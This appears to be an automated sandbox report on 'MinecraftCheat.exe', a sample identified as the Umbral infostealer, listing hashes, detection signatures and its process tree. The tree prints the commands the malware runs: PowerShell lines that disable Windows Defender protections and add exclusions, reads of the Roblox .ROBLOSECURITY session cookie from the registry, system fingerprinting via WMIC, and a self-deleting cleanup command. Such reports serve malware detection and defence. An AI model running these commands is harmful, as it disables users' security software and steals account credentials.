Overview

overview

10

Static

static

10

MinecraftCheat.exe

windows7-x64

10

MinecraftCheat.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    05-06-2024 10:51

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General

  • Target

    MinecraftCheat.exe

  • Size

    231KB

  • MD5

    20384d9a8661d8d1c6baeba964939ba0

  • SHA1

    e44f61df3bc54d183d673235b29cf1669c978dcc

  • SHA256

    8615172da6f2114f1a7b0b41050f6a3556b725d5f8aec82cc4558504137e4299

  • SHA512

    4384c8c5b05ca17191c5c3636808adc84ede226dd56c15fed4127aea830d141f920079a3e3fef6bca688911ca0185336cdf327bbbed57f8f311162a83032e578

  • SSDEEP

    6144:RloZM9rIkd8g+EtXHkv/iD4fNPjpaC9Hop7mGzY8vI8e1m1Ji:joZOL+EP8fNPjpaC9Hop7mGzgqQ

Score
10/10
umbralexecutionspywarestealer

Malware Config

Signatures

  • Detect Umbral payload 1 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

    stealerumbral
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Drops file in Drivers directory 1 IoCs
  • Deletes itself 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\MinecraftCheat.exe
    "C:\Users\Admin\AppData\Local\Temp\MinecraftCheat.exe"
    1⤵
    • Drops file in Drivers directory
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1792
    • C:\Windows\system32\attrib.exe
      "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\MinecraftCheat.exe"
      2⤵
      • Views/modifies file attributes
      PID:1800
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MinecraftCheat.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1660
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2720
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2916
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2568
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2572
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:768
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      2⤵
        PID:544
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:2840
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic" path win32_VideoController get name
        2⤵
        • Detects videocard installed
        PID:860
      • C:\Windows\system32\cmd.exe
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\MinecraftCheat.exe" && pause
        2⤵
        • Deletes itself
        • Suspicious use of WriteProcessMemory
        PID:2544
        • C:\Windows\system32\PING.EXE
          ping localhost
          3⤵
          • Runs ping.exe
          PID:2072
    • C:\Windows\system32\taskmgr.exe
      "C:\Windows\system32\taskmgr.exe" /4
      1⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:2112
    • C:\Windows\system32\taskmgr.exe
      "C:\Windows\system32\taskmgr.exe" /4
      1⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:1820

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
      Filesize

      7KB

      MD5

      1a97c34e74179defd60d02d97b7276f7

      SHA1

      0bb1b1f85f90cffe4fa7a2aee9cb804cb46e4a0b

      SHA256

      2a09b02d60fa5909d7b6826140790a746714cff91a38299cba48f3fb6e65b5d1

      SHA512

      63218575197b645b2d2d04fbc30515b2ee081f29a430388aefdfa450e8992b2a14623f170db17ac85398a921ff8356afca1e8335d53bb5e4df226b34e8781dcf

      Download Submit

    • memory/1660-14-0x000007FEEE900000-0x000007FEEF29D000-memory.dmp

      Filesize

      9.6MB

      Download

    • memory/1660-7-0x000007FEEEBBE000-0x000007FEEEBBF000-memory.dmp

      Filesize

      4KB

      Download

    • memory/1660-8-0x000000001B710000-0x000000001B9F2000-memory.dmp

      Filesize

      2.9MB

      Download

    • memory/1660-9-0x0000000002860000-0x0000000002868000-memory.dmp

      Filesize

      32KB

      Download

    • memory/1660-11-0x000007FEEE900000-0x000007FEEF29D000-memory.dmp

      Filesize

      9.6MB

      Download

    • memory/1660-10-0x000007FEEE900000-0x000007FEEF29D000-memory.dmp

      Filesize

      9.6MB

      Download

    • memory/1660-12-0x000007FEEE900000-0x000007FEEF29D000-memory.dmp

      Filesize

      9.6MB

      Download

    • memory/1660-13-0x000007FEEE900000-0x000007FEEF29D000-memory.dmp

      Filesize

      9.6MB

      Download

    • memory/1792-2-0x000007FEF6090000-0x000007FEF6A7C000-memory.dmp

      Filesize

      9.9MB

      Download

    • memory/1792-0-0x000007FEF6093000-0x000007FEF6094000-memory.dmp

      Filesize

      4KB

      Download

    • memory/1792-1-0x0000000001140000-0x0000000001180000-memory.dmp

      Filesize

      256KB

      Download

    • memory/1792-53-0x000007FEF6090000-0x000007FEF6A7C000-memory.dmp

      Filesize

      9.9MB

      Download

    • memory/1820-56-0x0000000140000000-0x00000001405E8000-memory.dmp

      Filesize

      5.9MB

      Download

    • memory/1820-57-0x0000000140000000-0x00000001405E8000-memory.dmp

      Filesize

      5.9MB

      Download

    • memory/1820-58-0x0000000140000000-0x00000001405E8000-memory.dmp

      Filesize

      5.9MB

      Download

    • memory/2112-54-0x0000000140000000-0x00000001405E8000-memory.dmp

      Filesize

      5.9MB

      Download

    • memory/2112-55-0x0000000140000000-0x00000001405E8000-memory.dmp

      Filesize

      5.9MB

      Download

    • memory/2720-20-0x000000001B5C0000-0x000000001B8A2000-memory.dmp

      Filesize

      2.9MB

      Download

    • memory/2720-21-0x0000000001DA0000-0x0000000001DA8000-memory.dmp

      Filesize

      32KB

      Download

    • memory/2840-49-0x000000001B5F0000-0x000000001B8D2000-memory.dmp

      Filesize

      2.9MB

      Download